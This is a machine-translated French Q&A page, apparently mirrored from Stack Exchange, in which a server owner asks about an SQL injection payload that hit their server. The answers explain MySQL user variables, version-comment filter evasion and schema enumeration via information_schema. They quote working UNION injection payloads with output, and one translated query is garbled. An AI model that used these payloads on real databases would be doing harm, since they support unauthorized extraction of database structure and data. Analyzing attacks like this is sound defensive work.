web-dev-qa-db-fra.com

Comprendre la charge utile d'injection SQL

Mon serveur a été touché par la charge utile d'injection SQL suivante: -

((/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAbAsE/*data*/())and(@)in(@:=CoNCat(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a))

Que signifient (@) et (@: = 0x00) dans cette charge utile?

pour une exécution autonome, la charge utile ci-dessus doit être exécutée comme: -

sélectionnez ((/ ! 12345sELecT/(@) dans (/ ! 12345sELecT/(@: = 0x00), (/ ! 12345sELecT/( @)de(InFoRMAtiON_sCHeMa.ColUMNs) où (TAblE_sCHemA = DatAbAsE/données/()) et (@) dans (@: = CoNCat (@, 0x3c62723e5461626c6520466f756e64203a20, TaBLe_nAMe, 0x3a3a, nom_colonne)))) a));

La charge utile contenait l'erreur de syntaxe.

25
Aayush

Que signifient (@) et (@: = 0x00) dans cette charge utile?

  • @ - est le nom de la variable
  • @:=0x00 - est l'affectation de zéro à cette variable.

Remarque: := est le affectateur-opérateur

Merci pour @Frank Cedeno et @strnk pour leurs questions et réponses dans les commentaires.

@Frank Cedeno - Comment/! 12345sELecT/devient select?

@strnk - Ceci est une extension spécifique à MySQL pour les commentaires SQL , le sELecT n'est inclus dans la requête que si la version du serveur est supérieure ou égale à 12345 (1.23.45), donc il filtre les serveurs non-MySQL

Plus d'informations:

De websec sql_injection :

Récupération de plusieurs tables/colonnes à la fois

SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x

Exemple:

SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+';

Production:

[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME
[ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME
[ information_schema ] >CHARACTER_SETS > DESCRIPTION
[ information_schema ] >CHARACTER_SETS > MAXLEN
[ information_schema ] >COLLATIONS > COLLATION_NAME
[ information_schema ] >COLLATIONS > CHARACTER_SET_NAME
[ information_schema ] >COLLATIONS > ID
[ information_schema ] >COLLATIONS > IS_DEFAULT
[ information_schema ] >COLLATIONS > IS_COMPILED

Cette réponse Stackoverflow explique le code SQL:

Tout d'abord, je rendrais la requête un peu plus lisible en la reformatant:

1) SELECT (SELECT (@)
2)         FROM (SELECT (@:=0x00),
3)                      (SELECT (@)
4)                       FROM (information_schema.columns)
5)                       WHERE (table_schema >= @)
6)                       AND   (@) IN (@:=CONCAT(@,0x3C,0x62,0x72,0x3E,' [ ',table_schema,' ] > ',table_name,' > ',column_name))
7)                       )
8)               )
9)        a);

L'affectation de @ est la suivante:

  1. Dans la ligne 3, il obtient la valeur 0x00 (décimal: 0)
  2. À la ligne 5, cette valeur est utilisée pour le plus grand que (table_schema> = 0)
  3. La ligne 6 est un moyen de concaténer chaque schéma, table et nom de colonne dans @
  4. @ est retourné à la ligne 1 et contient une liste concaténée de vos structures

À la ligne 6, un <br> (0x3C, 0x62,0x72,0x3E) est ajouté à la variable pour rendre la sortie plus lisible

29
Yaron